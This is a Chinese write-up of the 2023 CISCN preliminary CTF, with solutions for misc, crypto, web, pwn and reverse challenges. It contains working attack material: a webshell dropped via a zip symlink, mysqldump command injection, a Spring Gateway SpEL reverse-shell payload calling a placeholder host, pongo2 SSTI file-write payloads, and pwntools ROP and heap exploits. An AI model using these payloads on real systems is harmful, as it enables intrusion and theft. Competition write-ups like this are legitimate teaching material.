2023ciscn初赛wp

misc

签到卡

print(open('/flag').read())

被加密的生产流量

追踪tcp流,数据提取出来base32

国粹

先分割题目.png中的小麻将到output

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
w=0
h=0
from PIL import Image

a=Image.open('题目.png')

w1,h1=a.size
while w<w1:
im=a.crop((w,h,w+53,h+73))
im.save(os.path.join('output',str(w))+'.png')
w+=53

再将a.pngk.png中的小麻将去output找对应的索引值,分别作为纵坐标和横坐标画图得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import cv2
import numpy as np

a=cv2.imread("a.png")
k=cv2.imread("k.png")
w=len(a[0])
i=0
import os
path='output/'
d=os.listdir(path)
d.remove("0.png")
data=[[],[]]
Status=[False,False]
def check(im1,im2,sind):
A=cv2.absdiff(im1,im2)
if np.count_nonzero(A) ==0 :
Status[sind]=True
ind=int(j.split('.')[0])
if ind!=0:
data[sind].append(ind//53)
pass

while i<w:
ima=a[0:73,i:i+53]
imk=k[0:73,i:i+53]
Status=[False,False]
for j in d:
im2=cv2.imread(os.path.join(path,j))
check(ima,im2,0)
check(imk,im2,1)
if Status==[True,True]:
break
i+=53

from PIL import Image
a=Image.new("1",(42,42))
for i in range(w//53):
a.putpixel((data[1][i],data[0][i]),255)
a.save('123.png')
a.show()

pyshell

python 沙盒

利用_拼接字符串后eval执行,同时限制了7位字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Welcome to this python shell,try to find the flag!
>>'open'
'open'

>>_+'("/'
'open("/'

>>_+'fl'
'open("/fl'

>>_+'ag'
'open("/flag'

>>_+'")'
'open("/flag")'

>>_+'.'
'open("/flag").'

>>_+'rea'
'open("/flag").rea'

>>_+'d()'
'open("/flag").read()'

>>eval(_)
'flag{b8c3ead1-cdad-4ddb-bb81-9486888d426a}\n'

puzzle

打开后有很多宽度不一样的小bmp文件,放进010里分析发现在冗余位多了一些数据

bfReserved1表示图片左上角x坐标,bfReserved2表示图片左上角y坐标,biXPelsPerMeter表示图片右下角x坐标,biYPelsPerMeter表示图片右下角y坐标画图

画的时候注意biHeight,在bmp中该值是正数说明图像是倒向的即图像存储是由下到上;该值是负数说明图像是倒向的即图像存储是由上到下,所以遇到负数的图片需要反转一下在拼图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
from PIL import Image
file_list = os.listdir('tmp4')

img = Image.new('RGB',(7200,4000))
for i in range(len(file_list)):
f = open(f'./tmp4/{file_list[i]}','rb').read()
pic = Image.open(f'./tmp4/{file_list[i]}')
Res1 = int.from_bytes(f[6:8],'little')
Res2 = int.from_bytes(f[8:10],'little')
Xpel = int.from_bytes(f[38:42],'little')
Ypel = int.from_bytes(f[42:46],'little')
If_rev = int.from_bytes(f[22:26],'little')
if(If_rev != 100):
pic = pic.transpose(Image.FLIP_TOP_BOTTOM)
img.paste(pic,(Res1,Res2,Xpel,Ypel))
img.save('flag.png')

拼完后的图跑zsteg,得到第一部分的flag:flag{f1R5T_part_1s_LSB_sTeG0_

然后还是biHeight,高度-100的做0,100的做1,binary之后得到第二部分flag:2nd_paRT_15_reVeRSe_bMp_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
from PIL import Image
file_list = os.listdir('tmp4')
Res1_L,Res2_L,Ypel_L,XY_L = [],[],[],[]
for i in range(len(file_list)):
f = open(f'./tmp4/{file_list[i]}','rb').read()
Res1 = int.from_bytes(f[6:8],'little')
Res2 = int.from_bytes(f[8:10],'little')
Ypel = int.from_bytes(f[22:26],'little')
Res1_L.append(Res1)
Res2_L.append(Res2)
Ypel_L.append(Ypel)
XY_L.append((Res2,Res1))
a = sorted(Res1_L)
b = sorted(Res2_L)
c = sorted(XY_L)
for i in range(len(c)):
ind = XY_L.index(c[i])
if(Ypel_L[ind] == 4294967196):
print('0',end='')
else:
print('1',end='')

第三部分在补齐字节的数据中
找到第一张图片17447199634.bmp,查看补齐字节的数据

发现依次是FF D8FF E1

所以可以以padding数据按照左上到右下的顺序拼接得到jpg图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
from PIL import Image
file_list = os.listdir('tmp4')
Xpel_L,XY_L,Leng_L,Ypel_L,f_list = [],[],[],[],[]
for i in range(len(file_list)):
f = open(f'./tmp4/{file_list[i]}','rb').read()
Res1 = int.from_bytes(f[6:8],'little')
Res2 = int.from_bytes(f[8:10],'little')
Xpel = int.from_bytes(f[18:22],'little')
Ypel = int.from_bytes(f[22:26], 'little')
Xpel_L.append(Xpel)
XY_L.append((Res2,Res1))
Leng_L.append((len(f)-54))
Ypel_L.append(Ypel)
c = sorted(XY_L)

Padding_file = []
for i in range(len(c)):
ind = XY_L.index(c[i])
if(Leng_L[ind] != Xpel_L[ind]*300):
Padding_file.append(ind)

data = b''
for i in range(len(Padding_file)):
f = open(f'./tmp4/{file_list[Padding_file[i]]}','rb').read()
w = int.from_bytes(f[18:22], 'little')
f = f[54:]
if(len(f)-w*100*3 == 100):
pad = 1
elif(len(f)-w*100*3 == 200):
pad = 2
else:
pad = 3
for j in range(100):
d = f[j*(w*3+pad):j*(w*3+pad)+w*3+pad]
data += d[-pad:]
fw = open('flag.jpg','wb').write(data)

得到第三部分的flag:3rd_parT_1s_paddINGINGING

crypto

基于国密SM2算法的密钥密文分发

根据文档一步一步来即可,虽然有点没看懂

先找个网址生成一组公钥和密钥 https://www.lzltool.com/SM2

登录拿id

上传公钥

访问/api/quantum获取密钥密文

访问/api/check发送quantumString的值

使quantumStringUser的值等于quantumStringServer的值即可通过验证

访问/api/search得到flag

可信度量

非预期

/proc/22/task/22/environ可以直接看到flag

Sign_in_passwd

base64换表

web

unzip

上传后返回源码

只能上传zip文件,上传后在tmp目录使用unzip -o解压

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//构造一个指向/var/www/html的软连接
ln -s /var/www/html poc

//保留软连接压缩
zip --symlinks test.zip poc

//创建跟第一个压缩包中目录同名的目录
mkdir poc

//接着向目录中写一个shell
echo "<?php eval(\$_POST['a']);?>" > ./poc/shell.php

//压缩这个目录
zip -r test1.zip poc

上传第一个压缩包后会在tmp目录下生成一个软连接到/var/www/html,当我们上传第二个压缩包时,因为poc目录已经软连接到/var/www/html了,所以解压的时候会把shell.php放在/var/www/html

dumpit

根据题目描述可知分别有查询和导出的功能点

根据执行命令后的返回值推测执行的命令如下

传入?db=a&table_2_query=b时会执行select * from a.b
传入?db=a&table_2_dump=b时会执行mysqldump -u root a b > log/xxx.log

这里因为ab的值可控,所以相当于我们可以执行命令了

方法1:
直接传?db=ctf&table_2_dump=%0a+id+>+log/1+%0,然后访问log/1

方法2:
因为mysqldump在找不到我们给出的表的情况下会抛出错误信息mysqldump: Couldn't find table: "表名"

linux中可以利用2>将命令执行的结果输出到文件中

/?db=ctf&table_2_dump=\<\?\=phpinfo\(\)?\>+2>+log/1.php,然后访问1.php

index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
$servername = "127.0.0.1";
$username = "www-data";
$password = "";


function is_valid($str){
$black = ';`*#^$&|';
for($i=0;$i<strlen($black);$i++){
if(!(stristr($str,$black[$i])===FALSE)){
return FALSE;
}
}
if(!(stristr($str,'host')===FALSE)){
return FALSE;
}
if(!(stristr($str,'-h')===FALSE)){
return FALSE;
}
return TRUE;
}
try {
$conn = new PDO("mysql:host=$servername;dbname=ctf", $username, $password);
}
catch(PDOException $e)
{
die($e->getMessage());
}

if(!isset($_GET['table_2_query']) && !isset($_GET['table_2_dump'])){
echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1';
die();
}
if(isset($_GET['db'])){
$db=$_GET['db'];
}
else{
die('no db!');
}
if(isset($_GET['table_2_query'])){
$t2q = $_GET['table_2_query'];
$sql = "select * from $db.$t2q";
if(!(is_valid($t2q))){
die('nop');
}
if(!(is_valid($db))){
die('nop');
}
echo $sql;
echo '</br>';
try{
$stm = $conn->query($sql);
$res = $stm->fetch();
var_dump($res);
}
catch(PDOException $e){
die('error');
}
die();
}
if(isset($_GET['table_2_dump'])){
$t2d=$_GET['table_2_dump'];
if(!(is_valid($t2d))){
die('nop');
}
if(!(is_valid($db))){
die('nop');
}

$randstr = md5(time());
$dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
system($dump);
echo 'dump log here: <a href=\''.'./log/'.$randstr.'.log'.'\'>here</a>';

}

?>

BackendService

nacos服务,CVE-2021-29441添加任意用户进后台

分析backend-1.0-SNAPSHOT.jar

发现内部配置服务有个8888的gateway服务,id为backcfg

1
2
3
4
5
6
7
8
9
10
spring:
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8888
config:
name: backcfg
file-extension: json
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8888

可以通过修改Gateway配置文件反代backendservice服务实现rce

参考文章:https://xz.aliyun.com/t/11493#toc

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"spring":{
"cloud":{
"gateway":{
"routes":[
{
"id":"exam",
"order":0,
"uri":"lb://backendservice",
"predicates:":[
"Path=/evil/**"
],
"filters":[
{
"name":"RewritePath",
"args":{
"replacement":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/xxxx/xxxx 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}

go_session

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

有三个路由

1
2
3
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)

Index路由提供了一个默认的session,name赋值为guest
Admin路由判断session,需要name值为admin,并使用EscapeString转义name,而且还使用了pongo2渲染,存在ssti漏洞
Flask路由访问内部5000端口的flask服务并回显页面

因为SESSION_KEY是从环境变量获取的,猜测为空,进行session伪造
本地修改session.Values["name"] = "admin",运行拿到伪造的session

访问/flask?name=/通过报错拿到flask源码

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask,request
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
return name + 'no ssti'


if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)

可以看到flask开启了debug模式,debug攻击点一般在算pindebug热加载
但是访问/console实现rce需要携带cookie验证,因为我们无法传递cookie,所以利用ssti读文件算pin后rce这条路走不通

如图,当flask文件的内容被更改后,flask会自动更新,也就是热加载

所以我们可以利用ssti实现任意文件读写,然后覆盖server.py,实现自己的恶意内容

查阅官方手册可知pongo2与Django 1.7有兼容的语法和功能集

Django中的include语法在pongo2中也能使用,所以可以用include实现任意文件读取

写文件可以⽤Gin Context里的FormFile来读取表单⽂件,用SaveUploadFile上传,注意需要用GET传参

1
2
3
4
5
6
7
8
9
//读文件
{%include c.Request.Referer()%}
{%include c.Request.Host()%}

//写文件
//这三个payload其实大同小异,只是后两个使用了过滤器(c.HandlerName的值为 main/route.Admin )
{{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}
{%set form=c.Query(c.HandlerName|first)%}{{c.SaveUploadedFile(c.FormFile(form),c.Request.Referer())}}&m=file
{%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

覆盖后就可以执行我们自定义的内容了

pwn

烧烤摊儿

修改名称存在栈溢出,程序不存在system函数,使用orw获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#p=process('./shaokao')
p=remote("123.56.251.120","12585")
e=ELF("./shaokao")

fopen=e.sym['open64']
read=e.sym['read']
write=e.sym['write']
#gdb.attach(p,'bp 0x401fae')
rdi=0x000000000040264f #rdi
rsi=0x000000000040a67e #rsi
rdx=0x00000000004a404b #rdx rbx
p.sendlineafter('> ','1')
p.sendline("3")
p.sendline('-100000')
p.sendlineafter('> ','4')
p.sendlineafter('> ','5')
payload=b'flag'.ljust(0x28,b'\x00')
payload+=p64(rdi)+p64(0x4e60f0)+p64(rsi)+p64(0)+p64(fopen)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(0x4e60f0)+p64(rdx)+p64(0x40)+b'a'*8+p64(read)
payload+=p64(rdi)+p64(1)+p64(write)
p.sendline(payload)

StrangeTalkBot

程序使用了protobuf协议解析输入数据,构造protobuf数据,传入即可
程序中存在uaf漏洞与数组越界漏洞,利用gadget构造栈迁移,实现orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
import varint
import sys

def Mode(m):
return b'\x08'+varint.encode(m<<1)

def Ind(i):
return b'\x10'+varint.encode(i<<1)

def Size(s):
return b'\x18'+varint.encode(s<<1)

def Data(d):
return b'\x22'+varint.encode(len(d))+d


def add(ind,size,data=b' '):
payload=Mode(1)+Ind(ind)+Size(size)+Data(data)
p.sendafter("now: \n",payload)

def edit(ind,data):
payload=Mode(2)+Ind(ind)+Size(0)+Data(data)
p.sendafter("now: \n",payload)

def show(ind):
payload=Mode(3)+Ind(ind)+Size(0)+Data(b'')
p.sendafter("now: \n",payload)

def free(ind):
payload=Mode(4)+Ind(ind)+Size(0)+Data(b'')
p.sendafter("now: \n",payload)

e=ELF("./pwn")
context.binary=e
libc=ELF("./libc-2.31.so")
if len(sys.argv)==1:
p=process("./pwn")
gdb.attach(p)
else:
p=remote("123.56.244.196","35492")

for i in range(10):
add(i,0xe8)

for i in range(7):
free(i)

show(1)
heap=u64(p.read(8))
print(hex(heap))

show(2)
heap1=u64(p.read(8))
print(hex(heap1))

free(7)
free(8)

show(8)
d=u64(p.read(8))
print(hex(d))

libc.address=d-0x1eccc0
free_hook=libc.sym['__free_hook']
gadget=libc.address+0x154dea
mprotect=libc.sym['mprotect']
rdi=0x0000000000023b6a+libc.address
rsi=0x000000000002601f+libc.address
rdx=0x0000000000142c92+libc.address
leave=libc.address+0x00000000000578c8
edit(6,p64(free_hook))

add(0x20,0xe8)

payload=b'a'

edit(0,flat([heap+0x48,leave,
heap1&0xfffffffffffff000,
heap,0,
leave,0,0,0,
heap,
rdi,heap1&0xfffffffffffff000,
rsi,0x1000,
rdx,7,
mprotect,
heap1]))

shellcode=shellcraft.open('flag')+shellcraft.read(3,heap-0x50,0x50)+shellcraft.write(1,heap-0x50,0x50)
edit(1,asm(shellcode))

add(0x11,0xe8)
add(0x12,0xe8,p64(gadget))

print(hex(free_hook))
print(hex(gadget))

free(0)
p.interactive()

funcanary

程序使用了fork,所以在子进程中报错,不会使程序中断,所以爆破canary,然后跳转到后门位置就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
backdoor=0x1229

#p=process("./funcanary")
p=remote("123.56.135.185","32640")

canary=b'\x00'
for i in range(7):
for j in range(0x100):
p.sendafter(b'welcome\n',b'a'*0x68+canary+p8(j))
data=p.readline()
if b'stack' not in data:
print(j)
canary+=p8(j)
break
i=0
context.log_level='debug'
f=open('data','wb')
while i<0x10:
for j in range(0x30):
data=p.readuntil('welcome\n')
f.write(data)
p.send(b'a'*0x68+canary+b'b'*8+p16(0xffff&(0x1200+j+i*0x1000)))
pause()
i+=1


p.interactive()

Shell We Go

当认证结束之后,执行echo指令,存在栈溢出,使用+可以跳过栈空间,直接覆盖返回值
构造rop,执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
p=remote("47.93.187.243","38686")
p.sendline(b"cert nAcDsMicN S33UAga1n@#!")
context.log_level='debug'
cmd="""
bp 0x4c181a
bp 0x4c18a0
"""
def makepayload(data):
e=b''
i=0
step=0x20
while i<len(data):
e+=data[i:i+step]+b' '
i+=step
pass
return b'echo '+e

rdi=0x0000000000444fec
system=0x43e7e6
rsi=0x000000000041e818
rdx=0x000000000049e11d
sh=0x4c38e7
rax=0x000000000040d9e6
flag=0x4c34c8
syscall=0x000000000040328c
e=ELF("./pwn")
bss=e.bss()

payload=b'+'*(0x298-0x78)+b'\x00'*3+p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x200)+p64(rdx)+p64(0x40)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x200)+p64(rdx)+p64(0x40)+p64(rax)+p64(1)+p64(syscall)

p.sendline(makepayload(payload))
p.interactive()

reverse

babyRE

https://snap.berkeley.edu/ 导入xml

导出密文后异或得到flag

1
2
3
4
5
6
a=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]

for i in range(1,len(a)):
a[i]=a[i]^a[i-1]

print(bytes(a))

2023ciscn初赛wp
https://www.dr0n.top/posts/8bd8be28/
作者
dr0n
发布于
2023年5月27日
更新于
2024年3月22日
许可协议